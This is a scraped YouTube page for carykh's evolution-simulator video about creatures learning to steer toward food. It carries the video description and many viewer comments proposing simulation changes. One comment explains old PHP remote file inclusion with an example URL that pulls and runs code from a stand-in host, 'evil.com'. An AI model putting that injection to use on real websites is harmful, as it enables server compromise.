Evolution Simulator creatures learn to steer

Sdílet
Vložit
  • čas přidán 17. 06. 2017
  • wow this video is over an hour. that makes it a movie
    Wanna know exactly where at VidCon I'll be? Check it out here: • VIDCON W/ BFDI & More!...
    Do you want to skip over my failed seeds, and get right to the seed that actually succeeds? Skip to 29:32, that's where the successful seed starts.
    Do you hate seeing creatures that can't steer yet? Skip to 38:20
    Only want to see the best performance ever??? Skip to 51:39
    Source code: github.com/carykh/evolutionSteer
    (The graphics show up strange in Processing 3, but turn up fine in Processing 2. I'm not sure why.)
    Music: "Evo" by DemiPixel
    Patreon: / carykh
  • Hry

Komentáře • 2,6K

  • @hamyield
    @hamyield Před 7 lety +587

    Problems with stagnant species? I think it's time you built in an 'irradiate' button into the console to give your creatures a one time smash to the mutability.

    • @silentexcorcist453
      @silentexcorcist453 Před 3 lety +3

      No comments on a 500+ likes damn
      Oh wait a minute

    • @hamyield
      @hamyield Před 3 lety +3

      @@silentexcorcist453 this is probably my most liked comment. Thanks for bringing it to my attention.

    • @AhrkFinTey
      @AhrkFinTey Před 3 lety +1

      This is something that I use basically any time I write an evolutionary algorithm

  • @L0j1k
    @L0j1k Před 5 lety +273

    User clicks two buttons.
    Scientists in creature universe, two hundred million years later: "... My God ... What happened here in the fossil record ...?"

    • @DogMcMeow
      @DogMcMeow Před 4 lety +16

      User in creature universe finding faster ways to get food and eventually make a simulation to do that for them.
      Gamers in creature creature universe:"now that's what I call a victory royale"

    • @dominickeijzer5844
      @dominickeijzer5844 Před 4 lety +26

      Scientist 1: Ah yes, the S45 era. A beautiful creature with extreme diversity.
      Scientist 2: We made a groundbreaking discovery, sir! We've recreated a chomp!

  • @nathanwhitfield7834
    @nathanwhitfield7834 Před 6 lety +172

    41:01 "can it keep eating food? Oh it died"

  • @venomissocute3448
    @venomissocute3448 Před 6 lety +175

    I just realized that by 53 minutes in, they use a head like think to eat, some walk with two front legs (which are sometimes used to eat) and two back legs, and have a tail like structure in the back. CARYKH HAS CREATED LIFE THAT MANAGED TO SURVIVE ON EARTH!

  • @ismaelibarburu5084
    @ismaelibarburu5084 Před 7 lety +2169

    you should make it so at the start it has 15 sec but every ball it eats adds 5 sec this way you promote speed

    • @rhyscullinane5448
      @rhyscullinane5448 Před 7 lety +68

      Ismael Ibarburu thats a pretty good idea, actually

    • @effortless35
      @effortless35 Před 7 lety +232

      Or 5 sec for the first ball and decrease by 10% for each successive piece.

    • @icevlad148
      @icevlad148 Před 7 lety +136

      Ismael Ibarburu at some point it would make single generation last for hours

    • @zinqtable1092
      @zinqtable1092 Před 7 lety +60

      Don't have a supercomputer. Feelsbadman.

    • @nightshadefns
      @nightshadefns Před 7 lety +97

      I would add only a single second, because the balls are not that far away from each other. Also, this would make the creatures faster.

  • @percyvile
    @percyvile Před 7 lety +324

    Would be cool to see a "hunger" mechanic which allows creatures that successfully eat pellets to live longer (ie start with 10 seconds and gain a second each pellet) and use lifetime as the messure of fitness. This paired with more volatile pellets could produce some seriously interesting intelligence.

    • @noyz-anything
      @noyz-anything Před 6 lety +4

      Good job

    • @franzy871
      @franzy871 Před 5 lety +13

      Nah but the problem is, that you may get really high long living creatures, what dramatically increases calculating time and finally, when a creature reaches ‚perfection‘, it will have an infinite life...

    • @muhiak115
      @muhiak115 Před 5 lety +12

      True, but you could also counter that with a decreasing gain of time for each newly consumed pellet. So you have to be really quick to get a long live.
      Also it wouldn't be infinite then.

    • @trickygamer555
      @trickygamer555 Před 4 lety +1

      yeah, but only if they ate at least 1 food. otherwise it's random until 1 lucky gen 874 creature eats a single dot/food.

  • @carl6167
    @carl6167 Před 6 lety +437

    Dear Cary, this is where the form of your ears comes in. The reason your ears aren't just plain holes, but weird shaped things that stick out, is because your brain has an algorithm that uses the bouncing of the sound from the different spots on your ear, to deduce where it comes from.
    That is why Humans CAN differenciate a sound in front of us, versus a sound from behind !

    • @hellothing
      @hellothing Před 6 lety +17

      Carl Jontza yea thats why it does sound the same/not differentiable thru headphones unless the audio was from a mic that was in some sort of contraption like those asmr mics

    • @LaurynasMilinis
      @LaurynasMilinis Před 6 lety +20

      There's also an interesting thing called the Haas effect. Our brain evaluates the delay between the times it hit one or another ear. Also the timing of reflections from surfaces is evaluated. What Cary mentioned is very important too. Our hearing is very complex and interesting. :-)

    • @somepotato1743
      @somepotato1743 Před 4 lety +2

      This hurts so much to read I didn’t even bother.

    • @kewlguy
      @kewlguy Před 4 lety

      Some Potato yes ik

    • @firstnamelastname4752
      @firstnamelastname4752 Před 4 lety +1

      Laurynas Milinis
      Haas effect is more to do with two sound events happening close together. What you’re describing is Interaural Timing Difference. A sound wave hitting our head from the right will reach the right ear just before the left. Our brain compares the input from both ears and establishes that it was one wave and it must be from the right because it hit that ear first.
      There’s also interaural level difference (the far ear hears it more quietly) and interaural frequency difference (due to ear shape and head-shadowing).

  • @jadenreynolds2152
    @jadenreynolds2152 Před 6 lety +528

    I belive one of the reasons it stops moving while standing is so it can prevent a score of zero.

    • @sol2544
      @sol2544 Před 6 lety +31

      TropicalPanther Gaming Its because it's body is more suited to going forwards, not sideways. In later generations the body is better designed to allow it to pivot around the tail, but you don't see this in the beginning because it didn't need it in the beginning. When it suddenly met this obstacle of turning, it tried to strain but had no ability to change because the muscles didn't operate that way

    • @prosvade1337
      @prosvade1337 Před 6 lety +6

      It knows it will be killed XD

    • @Atlas_Redux
      @Atlas_Redux Před 6 lety +12

      Having tried tons of neural networks and AI learning software, this is a common issue. VERY much so in Learnfun/Playfun. Though LFPF does not use neural networks, it takes input learning from replays to play NES games. To make it work optimally, it's best to edit out pause-presses from the learning replay files which does not interfere with the gameplay (like pressing start to start the game, but only let there be minimum time of input registered). Or else it will keep pausing the game when it sees it is losing, even though it's not a complete game over.

    • @QuinGracia
      @QuinGracia Před 5 lety +2

      Jaden Reynolds the reason it does anything is to prevent a score of zero

    • @Aaden.mp4
      @Aaden.mp4 Před 3 lety

      Believe

  • @Bonzane
    @Bonzane Před 7 lety +144

    Am I tired or are these creatures adorable eating food like that

    • @nyxgaming917
      @nyxgaming917 Před 7 lety +8

      DaMuffin! nope there cute

    • @GrammarNazi10
      @GrammarNazi10 Před 7 lety +10

      The little pause is the cutest thing ever. Like yeah, you little bunch of nodes and muscles, stretch towards that food. You can do it!

    • @canhedotricks6078
      @canhedotricks6078 Před 7 lety

      DaMuffin! You're tired

    • @CaptainLuther
      @CaptainLuther Před 6 lety

      especially the one that got 28, kicking it's feet up was pretty cute

    • @TheOriginalFlamingEagle
      @TheOriginalFlamingEagle Před 6 lety +1

      DaMuffin! You're tired

  • @1.21gigamatts9
    @1.21gigamatts9 Před 7 lety +173

    Was anyone else actually rooting for that creature in the end who got so far? Only carykh can make me root for a bunch of purple nodes and muscles.

    • @adelaalomerovic1620
      @adelaalomerovic1620 Před 7 lety +8

      too true
      i am rethinking my life

    • @tjahjobagaaa
      @tjahjobagaaa Před 7 lety +5

      Aliens must be like, "Wow, humans are stupid. Why are they rooting for purple balls and crème sticks? Idiots..."

    • @adelaalomerovic1620
      @adelaalomerovic1620 Před 7 lety +11

      humans can grow attached to pretty much anything

    • @The360MlgNoscoper
      @The360MlgNoscoper Před 3 lety

      i rooted for s5-8 in the jumping simulation thing.

  • @DivinityOfBLaze
    @DivinityOfBLaze Před 6 lety +158

    I personally think you should have a button that adds in 100 new randomly generated creatures, just like in the beginning, to help diversify them and push them towards less stagnant shapes.

    • @warpigs330
      @warpigs330 Před 5 lety +24

      I think the problem would be that they would all get the same scores the very first ones did. they would end up filtering back out of the gene pool. Perhaps increase the deviation from the previous generation every now and then.

    • @smergthedargon8974
      @smergthedargon8974 Před 5 lety +16

      I think an "Irradiate X amount" button'd work - suddenly skyrocket the mutation rate of a few randomly-selected creatures for when things begin to stagnate.

    • @slimeykadenza9293
      @slimeykadenza9293 Před 4 lety

      Is that how evolution works?

    • @jackodegruit9823
      @jackodegruit9823 Před 3 lety +1

      @@smergthedargon8974 this was implemented in a fork of this project on GitHub

    • @guilhermegigeck5946
      @guilhermegigeck5946 Před 2 lety

      According to the video there is no DNA-crossing as the creature is the sole parent to its offspring. So this strategy wouldn't be effective.

  • @Buffbud96
    @Buffbud96 Před 5 lety +13

    I love how at 50:00 in they start to actually walk to get some of the food, it's so adorable

  • @firestar1056
    @firestar1056 Před 7 lety +210

    One thing that could be interesting is 2 creatures in a same simulation and have one try to catch another and separate things into 2 groups at the start so you have the predator group and the prey group, this way in theory the evolution will never stop since it's active competition instead of passive competition

    • @noyz-anything
      @noyz-anything Před 6 lety +4

      Firestar Nodes could be food pellets for the Predators (red) and the Prey (blue) could run away from the Predator like in the 1st 3D simulation

    • @captainnugget471
      @captainnugget471 Před 6 lety +8

      And the Prey could eat regular food pellets.

    • @maxvallone9391
      @maxvallone9391 Před 6 lety +6

      It could be better if 1 of every species was kept alive to create some diversity

  • @hugh6025
    @hugh6025 Před 7 lety +400

    "oh it died"

    • @Migglyman
      @Migglyman Před 6 lety +3

      hugh mungus

    • @najwan3672
      @najwan3672 Před 6 lety +9

      for you who havent watched the full video yet
      41:04

    • @tylerg8963
      @tylerg8963 Před 5 lety

      44:35 epic 420 noscope in evolution simulator

  • @manaoming
    @manaoming Před 5 lety +15

    Good job Jedidiah Corder you must feel so proud to have raised such intelligent marbles attached by strings

  • @World_Theory
    @World_Theory Před 6 lety +19

    50:51 I think the reason it's turning at the last moment, is because you made it aware of its distance to the food, but not which direction it's necessarily in, so it's some how using the sudden spike in the numbers to tell it has missed the food when it's moving, or is about to miss it. And that makes me wonder if it has some accidental method of telling the passage of time to track it's progress toward it's food. Maybe the fluctuations in the number that represents its distance to its food, caused by the scooting of its body, is enough to act as a clock, so long as it's produced in a reliable rate. That way, if a pulse of the clock is high or low enough to trip a threshold, it could tell when it's time to make a change to its steering, or to try reaching out to grab something nearby.

    • @warpigs330
      @warpigs330 Před 5 lety +8

      It knows every node's distance to the food, so it can triangulate.

  • @derpmansderpyskin
    @derpmansderpyskin Před 7 lety +228

    Cary you killed 2891500 creatures today.

  • @eaglgenes101
    @eaglgenes101 Před 7 lety +286

    Neural network to detect discord notification sounds?

  • @OrangeC7
    @OrangeC7 Před 6 lety +206

    The problem is that you're measuring fitness within a total of 15 seconds every time, I get that this is to prevent the computer from taking a long time to do a generation, but I think I have a better idea. Instead, say that if a creature hasn't gotten a pellet in 5 or 6 seconds, it has stopped, and the simulation will move on. This way, it still encourages speed, but it doesn't cap off the maximum performance. It will also give more leniency to the techniques that try to develop earlier on but that get flushed out for being too slow. (maybe)
    Two more things: If you have a link between two nodes (in the neural network) that's multiplying the number by more than 2 or less than 0.5, snap it to 2 or 0.5. This will probably save computational power (however small the difference) when it comes to the computer trying to calculate things in the billions. And, maybe have it so that the more nodes a creature has, the less fitness it will get? This could make the creatures try to find the simplest and (probably) most effective strategy. (It could also be another way to make it run through each generation faster)

    • @smileyp4535
      @smileyp4535 Před 5 lety +19

      I like your idea of cutting it off early if nothing happens but given how long it takes to initially get the pellets I think adding 5 seconds everytime it gets a pellet is better because it promotes long term viability rather than initial greatness

    • @carlsojos
      @carlsojos Před 5 lety +2

      Could implement a couple of math functions to move the goals over time. Maybe cutoff after last chomp time is greater than MAX(5,(60-[current generation])), and maybe set the curve to equal something like MAX(0,(0.01*(current generation-500)))?

    • @n3lis94
      @n3lis94 Před 5 lety +4

      If you allow unlimited time if a creature keeps collecting pellets, at some point your entire population will be able to collect pellets for minutes or longer. This would take an insane amount of time to compute

    • @chrismofer
      @chrismofer Před 4 lety +1

      yes, I was also surprised that the net could request any muscle tension it wanted, because the math is going to be an order of magnitude slower for the simulation running the network. it should be capped.
      also, in addition to testing every creature from each gen in it's own simulation, it could test each creature multiple times and take the average or the best for fitness. I feel in 15 seconds a viable mutation could be killed by chance before it flourished.

    • @benporter1997
      @benporter1997 Před 4 lety +2

      Rather than capping node values the "energy" expended could be subtracted from the eaten food score to encourage efficiency.

  • @aoefreak3340
    @aoefreak3340 Před 7 lety

    These evolution videos are the reason I'm subscribed to you! This one was great.

  • @ryzon2
    @ryzon2 Před 7 lety +1889

    Ok now this is epic

  • @RobinHilton22367
    @RobinHilton22367 Před 7 lety +535

    For your next version would it not be beneficial (aka could you please try) to have it eliminate the 525 lowest creatures, breed the remaining 475 = 950 total and then generate 50 new random ones to add some new blood to the pool.
    Also could you make it so their performance time can be edited mid-simulation. Ie: increasing fitness time from 15 to 20 seconds (or add 5 seconds every 1000 generations)

    • @PoopLoserDa69th
      @PoopLoserDa69th Před 7 lety +43

      The 50 random creatures will die on arrival. It'll just slow down evolution by making them worse.

    • @arthurbernardocoopi6540
      @arthurbernardocoopi6540 Před 7 lety +67

      PoopLoserDa69th
      What about make them just extra mutated decendants from the top 50?

    • @PoopLoserDa69th
      @PoopLoserDa69th Před 7 lety +15

      That's how it essentially works already. Every generation's offspring is the surviving 500 creatures slightly mutated.

    • @Sam-oz8pn
      @Sam-oz8pn Před 7 lety +32

      But these would be more mutated, and from the top 50. So they would already be functioning creatures, and if they got lucky, they'd keep the good traits and get something new.

    • @jacywilson
      @jacywilson Před 7 lety +37

      Maybe not 50 completely random creatures, but triple the mutation rate for a certain amount.

  • @cranberry7601
    @cranberry7601 Před 6 lety

    Wow you still do evolution videos! I was binge watching your videos and it's so nice to know that you'll still eventually do that

  • @Dieaconus
    @Dieaconus Před 7 lety +81

    This is honestly in the top most adorable videos on youtube! And that's saying something. But seriously, I absolutely love this so much!! The creatures evolving are soooo cute, and I really think you neeeeeeeeeeeeddd to do more videos on this! Maybe add so they have a random amount of nodes? Or there's an inconsistent population? Or maybe there could sometimes be more than one creature at once in some situations so they have to interact, so there's more than just one variable just like for us humans! With these different conditions I imagine that if you left evolution sim for years then maybe the creatures would create their own working world, or maybe society! (Also you should definitely add a save feature)

    • @Stettafire
      @Stettafire Před 6 lety +5

      Yes, more videos without discord, skype or steam open would be great:)

    • @DogMcMeow
      @DogMcMeow Před 4 lety +1

      Quantum computer: but I don't exist

  • @giod4713
    @giod4713 Před 7 lety +356

    Cary, thanks for making this video. Today I am horribly sick and have to stay in bed, but once I saw your video In my sub feed, I felt way better. I felt even better after learning it was over an hour. Cary, thank you.

  • @JohnDubuc
    @JohnDubuc Před 7 lety +584

    I can just hear the dramatic music playing while a creature is desperately trying to reach a pellet. XD

    • @anuel3780
      @anuel3780 Před 7 lety +29

      DUN DUN DUN DU-DU DUNDUN DUN.
      (In a documentary narrator voice) The creature is trying its hardest to reach its food and it's struggling. Oh no, he died after collapsing to the ground from hunger. Just think about what its family will have to do without him!
      (btw love ya videos :) )

    • @JohnDubuc
      @JohnDubuc Před 7 lety +3

      Thanks :D

    • @user-ft4pb5vb3e
      @user-ft4pb5vb3e Před 6 lety +1

      Guynimator the Terrible Really, the creatures have no energy. They just strain too hard and overbalance.

    • @adammullarkey4996
      @adammullarkey4996 Před 6 lety +3

      I'm now imagining a creature straining for a pellet with the Sonic the Hedgehog drowning music playing...

    • @danatronics9039
      @danatronics9039 Před 6 lety

      *Halo 3 theme*

  • @crimsonwings4542
    @crimsonwings4542 Před 6 lety

    Yes! Creature exportation would be extremely awesome. Also this series has been my absolute favorite, it's what brought me here and is always something I get excited to watch :) thank you for making so many of these, simulated learning has always seemed cool to me but you bring these interests to life.

  • @calenhoover1124
    @calenhoover1124 Před 6 lety

    I am so happy I found your channel! Great content! Subscribed.

  • @Scribblersys
    @Scribblersys Před 7 lety +72

    It might be interesting to add a reward for getting food pellets, like increasing the simulation time so they have a chance to get more.

  • @recolinotyu
    @recolinotyu Před 7 lety +113

    I think we're REALLY getting into something quite revolutionary.
    With this creatures we got to see very interesting behaviour being created, where they actually got to start making decisions during the runs .
    What could be interesting is if you tried to replicate that behaviour you created with your last simulation, but the simulation would this time be ran with with ALL CREATURES ON THE SAME MAP AT THE SAME TIME, and 1000 food pellets are spawned randomly on the map. If they don't eat anything for 15 seconds they die. When only 500 creatures remain they get to replicate.
    After some time, would they start fighting for food? Would they form groups to increase their odds? This would be a mind blowing and absolutely revolutionary simulation...
    Also, for better and faster and crazyer results, some suggestions by people in the comments that should be implemented:
    For your next version would it not be beneficial to have it eliminate the 525 lowest creatures, breed the remaining 475 = 950 total and then generate 50 new random ones to add some new blood to the pool.
    Increased/changing mutability rates
    Obstacles maybe? Like things they have to avoid, holes in the groud, slight variations in terrain height, etc...
    5,000 generations isn't that long in evolutionary terms. Have you got an old PC you can leave this running on 24/7 for a few days or Weeks?

    • @wrofiir9697
      @wrofiir9697 Před 7 lety +15

      There are 2D neural network simulations that do what you say. He's greatly increasing complexity by introducing 3d physics and disqualifying anything that doesn't stand upright.
      i do imagine he'll be able to simulate population dynamics if he keeps making progress.

    • @killstrike-zn1lv
      @killstrike-zn1lv Před 5 lety

      Holy crap yes.

    • @killstrike-zn1lv
      @killstrike-zn1lv Před 5 lety +3

      But! What if we did that idea, but made it so species can EAT other species? This would introduce predator/prey behavior!

    • @QuinGracia
      @QuinGracia Před 5 lety +3

      Oh my god, humans are making virtual ecosystems!

    • @thescoobymike
      @thescoobymike Před 5 lety

      This makes me feel like we're in a simulation

  • @gooberus9167
    @gooberus9167 Před 6 lety +79

    I don't understand any of this math stuff but this is awesome

  • @NinjaGamesWorld
    @NinjaGamesWorld Před 6 lety

    I have been watching all the evolution videos, but this one is simply incredible!

  • @superandyhero3783
    @superandyhero3783 Před 7 lety +167

    This is the evoution of evolution simulators.

    • @ethanholter
      @ethanholter Před 7 lety +51

      and the fitness level is the number of likes on each video

    • @sheait266
      @sheait266 Před 7 lety +5

      Someone should create an evolution simulator that constantly makes itself a better evolution simulator

    • @robthompson563
      @robthompson563 Před 6 lety +3

      Sheait self improving ai, no,no,no,no,hell no

  • @IngoDingo
    @IngoDingo Před 7 lety +186

    can I pledge and name my self "return 0;"?

    • @alcohashbo3637
      @alcohashbo3637 Před 7 lety +11

      oh god

    • @thatpersonyouknow3747
      @thatpersonyouknow3747 Před 7 lety +2

      Max Bambusman lol

    • @user-ft4pb5vb3e
      @user-ft4pb5vb3e Před 6 lety +28

      Max Bambusman xkcd.com/327/

    • @Eagle45678910
      @Eagle45678910 Před 6 lety

      T0astBread I'm not sure, I only know a little bit of c++

    • @swapode
      @swapode Před 6 lety +1

      These days code injection is pretty rare but back in the day there was quite a bit of eval() trickery going on in some script languages to make complex concepts like templating work quick enough for big websites. I can't recall any specific exploit but I'm pretty sure there were instances were this could be abused.
      A common code injection exploit had to do with the naive approach to dynamic web sites that many old PHP tutorials taught and the register_globals "feature" of PHP.
      www.example.com?page=contact would load the contact page but www.example.com?page=evil.com/myexploit would load a file called myexploit.php from another server and execute its contents on the example.com webserver.

  • @UsotheMarshmallow
    @UsotheMarshmallow Před 6 lety

    This was really entertaining to watch! And really interesting too! Thanks for making this video, it was an hour well spent watching ^.^

  • @Grose_
    @Grose_ Před 6 lety

    Please keep making these! They are so cool!!!

  • @TheJakiller
    @TheJakiller Před 7 lety +132

    The evolution simulator's back!

  • @conoroneill8067
    @conoroneill8067 Před 7 lety +83

    Hello Cary! Long time watcher, first time poster here.
    You seem to constantly be striving for your creatures to have some sort of complexity or intelligence to them, which I find fascinating. One of the things I was wondering about is if it would be possible to make a predators/prey scenario - so you start with this and build off of it, but at a certain point you can also add in a predator - another machine learning made creature, whose job it is to touch/eat the original. So, the aim of what I suppose could be called the 'herbivore' creature (i.e. the ones in this video) is to eat as many of the still foods as possible, while avoiding the carnivore creatures, who if they touch, they get an automatic score of 0. I think that could make things very interesting to watch and see how the creatures interact with each other, and also perhaps make a better way to avoid stagnating herbivores that stop moving halfway through the time.
    Thanks! I love your machine learning videos. Highlight of my day.

    • @xM0nsterFr3ak
      @xM0nsterFr3ak Před 7 lety +9

      Or two creatures and the only the one with more chumps can eat the other, so that they could learn a bit of an strategy for like first eating chumps than the other creature... also the eaten creature could give its chumps to the eating creature...

    • @jakobkhan-springer2571
      @jakobkhan-springer2571 Před 6 lety

      Redstone Miner Chomps

  • @dylankerr4511
    @dylankerr4511 Před 6 lety +1

    This is amazing. I am floored by how cool this simulation is. I've actually grown attached to the little creatures, and I want to see them succeed.

  • @andrewgeier567
    @andrewgeier567 Před 6 lety

    Thank you for making these videos, they are great

  • @coosome
    @coosome Před 7 lety +58

    you should have a button that can increase their mutability rate by a bit

  • @xernerac
    @xernerac Před 7 lety +101

    You should make it so that each generation is converted to a string and save that to the hard drive. All the generations are saved in one folder for each simulation. This would give you the following advantages: you could pause a simulation and shut down the simulator, you would reduce RAM usage and you could view every generation you desire inside a "viewer" that would be more light weight. Oh and you (and everybody else) could share your (their) results.

    • @CaptainLuther
      @CaptainLuther Před 6 lety +1

      XerneraC correct me if I'm wrong because I know nothing about this stuff, but wouldn't that take up a lot of space?

    • @doom87er
      @doom87er Před 6 lety +2

      yes, yes very much. but only if your dumb enough to save data like that as a string. tis a good suggestion thou

    • @yashgaikwad7516
      @yashgaikwad7516 Před 6 lety +10

      Not really. He has 3 layers of 9 nodes so if you store them, you will get 1 triplets of form per creature where 1

    • @o.sunsfamily
      @o.sunsfamily Před 6 lety +8

      It would be great if you could save the best creature each time and load em. Like make a load creatures option in the beginning and a battle between the best creatures.

    • @zachburke8906
      @zachburke8906 Před 6 lety

      Yasharyan Gaikwad that would store the creatures shape, but not his brain i don't think.

  • @tianamaycry
    @tianamaycry Před 6 lety

    This just gets cooler and cooler!! Keep going with a seed for a really long time if you can. Introducing new measures of fitness if possible. I really love how this displays rudementary evolutionary dynamics and how they become more complex.

  • @Stettafire
    @Stettafire Před 6 lety +64

    I feel like you need to introduce the curve before you loose all the variation, otherwise your creatures feel no need to compete with one another.

    • @lucaslucas191202
      @lucaslucas191202 Před 5 lety +2

      But then he would have to go through like a million simulations before anything would happen, since most of the creatures would just die without getting a score, and therefore he would have to rely on a creature randomly evolving walking and steering at the same time.

    • @Brot1984
      @Brot1984 Před 5 lety +4

      He should (re) add a mutation of the body. Right now a lucky development in the brain of a creature with a inefficient body structure can lead them to completely take over. So statistically you will most of the times end up with inefficient body’s since it is pure luck which body type first has a major breakthrough in the brain. In real live brain and body have evolved together.

    • @lucaslucas191202
      @lucaslucas191202 Před 5 lety +1

      @@Brot1984
      I don't fully understand what you mean. The creatures body could still develop without changing their brain, or it could change both brain and body at the same time, just as you want it to. I agree that some inefficient creatures could take over since they simply had more time to adapt than other creatures that could've wound up being better in the end, but I don't know how he would prevent that

  • @auzzythegreat
    @auzzythegreat Před 7 lety +38

    This is awesome! I can't believe you made nodes and muscles actually have survival instinct like turning torward food! I find it amazing that they know where the food is, and pause and throw themselves at it! That's totally awesome! Almost like it has a mind of it's own... 😱

    • @gamefoun
      @gamefoun Před 6 lety +10

      well it does have mind of it's own

  • @galiantus1354
    @galiantus1354 Před 7 lety +16

    A few ideas:
    1. Change the simulation into a measure of survivability in an environment with increasing difficulty. Basically, the possible distance, angle, and height of food would increase every time a creature got a "chomp", and fitness would be measured in terms of time survived rather than the number of pellets eaten. Creatures would "die" in the usual way where they collapse, but they would also die if they could not reach the next pellet within a given time-frame. You could then gradually decrease the time needed between "meals" every 100th generation, counteracting the effects of needing more time to process more healthy generations.
    2. Start with a high curve. Your goal is to get a creature which can quickly navigate to random sets of locations in its environment, and starting with little or no curve right off the bat eliminates body and brain structures capable of moving in multiple directions. You say you hate projectile creatures, but I think it would be interesting to see a creature develop as a projectile capable of aiming in all 360 degrees from its start location.
    3. Introduce more variance to the height of pellets. If a creature figures out how to get high pellets it will have a significant advantage over its competition. You could also put pellets as low as the ground if you create a special "mouth" node each creature gets only one of, so it can't just "eat" with its feet.
    4. Keep different branches of creatures alive. You want to have diversity among your creatures, but your killing/reproduction algorithm makes it nearly impossible for different "species" of creatures to coexist. From the beginning you should put the creatures into groups (say for now, 10 groups of 100), and prevent the best creature within those starting groups from being eliminated by the killing algorithm. Children would be assigned to the same group as their parents. The size of the groups will change, of course, but as long as you kill 500 off every time you will always have 1000 creatures per generation. What's important is that the simulation will be given the chance to keep trying to discover new strategies in the background without going extinct in the process.
    5. You should do a simulation that involves direct competition between two random creatures at a time. It could be a battle, a race, or even soccer. You could also do one where the goal is to collect the most "chomps" out of a limited starting supply. Not only would this make the competition more real, but it would also be the bane of uniformity near the end of the simulation, since populations with similar characteristics tend to have similar weaknesses.
    Love the Evolution Simulator series! Keep up the good work!

  • @Ninja_Bryden
    @Ninja_Bryden Před 7 lety

    I really want to get into the IT field and your channel really humbles me and proves how little I actually know. You're very talented!

  • @sekroyssektor4151
    @sekroyssektor4151 Před 6 lety

    I am much more fascinated by any new video of yours I find so you should probably live with one more subscriber.

  • @epicbob57
    @epicbob57 Před 7 lety +153

    One hour cary video?
    I know what I'm doing for the next hour

    • @PurpleCoin7777
      @PurpleCoin7777 Před 7 lety +1

      congrats on dying at 3rd :)

    • @epicbob57
      @epicbob57 Před 7 lety

      Thanks :D

    • @8thy
      @8thy Před 7 lety +1

      Sad you died third! Good luck in Season 2 though ;p -(I can give you an advantage over purple)- WHAT NOTHING!!!

    • @PurpleCoin7777
      @PurpleCoin7777 Před 7 lety

      Please he already placed higher than me 7 rounds in a row in season 1

    • @PeterAuto1
      @PeterAuto1 Před 7 lety

      I noticed to late that this video is that long so I came to late to classes

  • @tripplehelix
    @tripplehelix Před 7 lety +108

    I'm guessing because it evolved with no symmetry, as there was no real reason to begin with only the ones that had food to the left did well. Which would also explain the huge number that just died. I think just by the evidence of living creatures on earth, symmetry is extremely important.

    • @ImGamingNow2010
      @ImGamingNow2010 Před 4 lety +1

      *Fast forward to episode 1* Look how symmetrical this creature is! *Dies*

    • @DaBestNub
      @DaBestNub Před 2 lety +1

      Symmetry is pretty bad because there is less diversity

  • @matthewsylvia5674
    @matthewsylvia5674 Před 5 lety

    Make more of these, they are so interesting and a lot of fun to watch

  • @Chris-wy3ok
    @Chris-wy3ok Před 7 lety

    I don't know why these videos are so entertaining but they really are. I didn't even realize how long i've been watching this video until nearly 45 minutes in. felt like 10

  • @Boslandschap1
    @Boslandschap1 Před 7 lety +16

    Hey carykh, I loved the decisions you made for this last evolution simulator: the way to define your fitness parameter, the subtle and amusing way to represent your Patreon supporters as well as the way to show this competition graphically. The gradually increasing scores really seem to help your networks to evolve and improve.
    I had two ideas:
    1) why limit the time for every model to 15 seconds? Would it be possible (and useful) to extend a model's life for a certain number of additional seconds per successful chomp? As in real evolution, creatures who successfully take care of themselves get to live longer.
    2) Would it be possible (and useful) in that case to let the reproduction also be influenced by this extended life/success: each creature gets one basic reproduction and for each number of seconds in its life, a creature gets an additional reproduction (chance). Again, creatures who survive longer/successfully get more opportunities to have offspring: a model that successfully manages to survive to the ripe age of 28 chomps *should* have plenty of offspring :)
    Also, given that you have unlimited CPU time and personal time (right?), the obvious next step is running this simulation ten times and have an Armageddon evolution series with ten times the best 10% creatures of the 10 previous simulations. Even better: have them all be simulated simultaneously where they compete for the same chomps apparitions in a common space.
    Let the strife for survival begin! :)

  • @foeveryrealx
    @foeveryrealx Před 7 lety +37

    51:40
    Is it bad that I found this creature made of nodes and connectors incredibly cute, and that I want it as a desktop pet?

  • @HateSonneillon
    @HateSonneillon Před 6 lety

    i really like these evolution simulator videos, please do more ^^

  • @NikkiTheViolist
    @NikkiTheViolist Před 7 lety

    Oh, thank you for explaining what the video was about in the first ten seconds because I totally forgot to read the title. ;p
    Also, the reference photo. I needed that.

  • @chickensoundedmexicanyt9732

    you should add predators

  • @qqaazzqqaazz3741
    @qqaazzqqaazz3741 Před 7 lety +81

    The creatures seem to have a harder time turning left than right
    Right - uses one of the lighter nodes in front to actually turn around
    Left - just leans its top node as far as possible, and quite often dies
    ---
    I'd say you should encourage diversity/mutability more. The stagnation, obviously, wouldn't be such a problem if you had, say, 4 competing species instead of 1. This way the strategies that dominate early on but are not necessarily the best later win out, and many evolutionary paths are left unexplored - the most egregious case of this was in the 2D simulator, with vibrating triangles vs. wheels/barrows that you tried to get them to develop.

    • @sliceofpudding
      @sliceofpudding Před 6 lety +2

      He doesn’t have control of the situation. If all the species die out except one, it doesn’t change until one gets some mutation that does better than the current species.

    • @involuntaryascetic3602
      @involuntaryascetic3602 Před 6 lety

      he could still increase the odds of mutations, this would make bad creatures worse but breakthroughs more common.

  • @spociteold
    @spociteold Před 4 lety +7

    “I’m bringing back the evolution simulator”
    Date: 2 years ago
    Whamp whamp whamp

  • @aidenhubbard5591
    @aidenhubbard5591 Před 6 lety

    I loved this video. The changes in curve alongside the drops in median represented small changes in environment that caused huge drops in population and stuff really well

  • @inferno3345
    @inferno3345 Před 7 lety +22

    Finally, another evolution simulator!

  • @bentonwiser7468
    @bentonwiser7468 Před 7 lety +23

    A full length of a feature film is usually around 1 hour and 30 minutes.

    • @AwesomeGaming99
      @AwesomeGaming99 Před 7 lety

      This isn't a vlog channel

    • @AwesomeGaming99
      @AwesomeGaming99 Před 7 lety

      Jesus, that was fast. Also what was the first comment for?

    • @anuel3780
      @anuel3780 Před 7 lety

      Not all movies are feature-length. That would make short films, not films. This counts rather as a long documentary-eske movie than an actual feature-length movie, that is correct.

  • @callmed4119
    @callmed4119 Před 6 lety +1

    This is gonna be the most enjoyable hour and four minutes ever.

  • @ravenmast3r334
    @ravenmast3r334 Před 6 lety

    I just realized I watched my phone for 1:02 without ever being bored. You sure deserve a subscriber.

  • @GaminNUB
    @GaminNUB Před 7 lety +31

    41:00 It's 15 seconds are up, can it keep eating food?... oh it died. 😄

  • @Itschotsch
    @Itschotsch Před 7 lety +36

    "Dunkelblau" actually means "dark blue" in German :D

    • @alfieperry2561
      @alfieperry2561 Před 7 lety +7

      I've always wanted to comment this but forgotten by the end of the video lol

    • @xM0nsterFr3ak
      @xM0nsterFr3ak Před 7 lety +1

      I also commented that it was a nice detail, but than I realized that the colors are most likly picked by random chance; still cool though XD

  • @pugz3230
